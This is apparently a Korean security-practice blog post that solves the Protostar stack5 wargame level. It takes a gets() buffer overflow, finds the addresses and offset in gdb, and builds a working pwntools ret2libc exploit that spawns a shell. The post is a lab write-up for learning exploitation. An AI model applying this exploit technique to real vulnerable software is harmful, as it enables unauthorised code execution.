Protostack - stack 5 를 stack6 방법으로 해결하기

2024. 5. 19. 06:09·시스템 해킹
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

protostar - stack 5의 소스코드이다.

 

stack 6방법을 통하여 stack 5 테스트 exploit코드를 파이썬으로 작성

 

#!stack5.py

from pwn import *


system = p32(시스템주소 넣기)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(bin_sh주소넣기)

offset = 위치넣기

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack5'])
p.sendline(payload)
p.interactive()

 

exploit 코드를 대략 작성

 

 

 

gdb ./stack5

b *main

run

 

 

disas system

print system

 

system 주소를 찾는다.

system = 0xf7c4c910

 

 

find /bin/sh

 

/bin/sh 주소=0xf7db5faa

 

 

이제 오프셋 위치를 확인한다.

 

 

disas main

pattern create 100

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

b *main+22

run

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

 

pattern offset 76

offset 위치를 확인

offset = 76

 

#!stack5.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)

offset = 76

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack5'])
p.sendline(payload)
p.interactive()


 

system = 0xf7c4c910

/bin/sh 주소=0xf7db5faa

offset = 76

최종 exploit 코드를 작성한다!

 

python3 stack5_exploit2.py

 

protostar stack 5의 두번쨰 방법에 성공하였다!

저작자표시 비영리 변경금지 (새창열림)

'시스템 해킹' 카테고리의 다른 글

Protostar - stack 7 ROP  (0) 2024.05.19
Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 )  (0) 2024.05.19
Protostar stack - 6 함정을 지나 ret하기  (0) 2024.05.19
Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법  (0) 2024.05.18
Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경  (0) 2024.05.18
'시스템 해킹' 카테고리의 다른 글
  • Protostar - stack 7 ROP
  • Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 )
  • Protostar stack - 6 함정을 지나 ret하기
  • Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법
taktaks
taktaks
보안 연습 일기장입니다. 모든 연습은 불법적인 용도로 사용하지 말아주시길 부탁드립니다. 용무는 wndudxkr2005@gmail.com 메일 부탁드립니다.
  • taktaks
    taktaks
    taktaks
  • 전체
    오늘
    어제
    • 보안 일지 (280)
      • 네트워크 구축 (12)
      • 리눅스 보안구축 (10)
      • 파이썬 기본 (11)
      • Web hacking (39)
      • 통합 인프라 보안 (41)
      • 공격기법 및 탐지 (33)
      • 악성코드 및 포렌식 (93)
      • 리버싱 (5)
      • 시스템 해킹 (20)
      • C 언어 (12)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      프롯
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    taktaks
    Protostack - stack 5 를 stack6 방법으로 해결하기
    상단으로

    티스토리툴바